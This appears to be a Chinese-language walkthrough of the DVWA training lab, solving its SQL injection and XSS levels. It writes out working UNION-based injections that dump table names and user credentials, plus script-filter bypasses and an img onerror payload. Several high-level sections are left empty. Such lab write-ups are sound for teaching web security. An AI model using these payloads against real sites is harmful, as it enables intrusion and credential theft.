dvwa 中 sql xss 漏洞

SQL Injection

medium

先观察页面，可以看到url中没有注入点，应该是post注入

使用burpsuite抓包，并将此报文send to repeater

第一次把id=1改为Id=1’
第二次改为id=1’’
send之后看response，从结果可见，这里输入是数值，不需要闭合，并且单引号应该是会被转义的

确定列数
id=1 order by 3 报错，列数为2列

爆库
id =1 union select 1,database
得到库名dvwa

爆表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
得到表名guestbook和users

爆列
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761
得到列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

得到数据库内容
id=1 union select group_concat(user),group_concat(password) from users

high

输入 1’
页面报错

输入1’’
因此闭合是单引号，并且没有转义单引号
确定列数

爆库

爆表

爆列

得到数据库内容

写一句话木马

reflected xss

medium

查看源代码，发现对script有一个替换，但没有过滤大小写，只需script中改几个大写就可以了

xss中写入sCRipt>alert(/xss/)</sCRipt> <scr<script>ipt>alert(/xss/)</script>

high

查看源代码，发现对script有一个正则的替换
在xss中写入

stored xss

medium

查看源代码，name多了一个对于script的过滤，但没有过滤大小写和重写，所以可以借此绕过。
因为name 对长度有限制，所以直接修改原代码，将长度变大
然后在name 中输入

high

查看源代码，可以得知本关的name在之前的基础上多了一下一个正则去去除script，所以换个触发就可以
同样要将name 的长度修改一下
输入

Dom xss

medium

查看源代码，可以发现本关卡对script有一个过滤，另外看源代码可以发现需要把输入闭合掉，所以还应该写一个

</optin></select><img src = 1 onerror = alert(/xss/)>

High

发现是黑名单，注释掉即可

  (此处有一个空格)#<script>alert(/xss/)</script>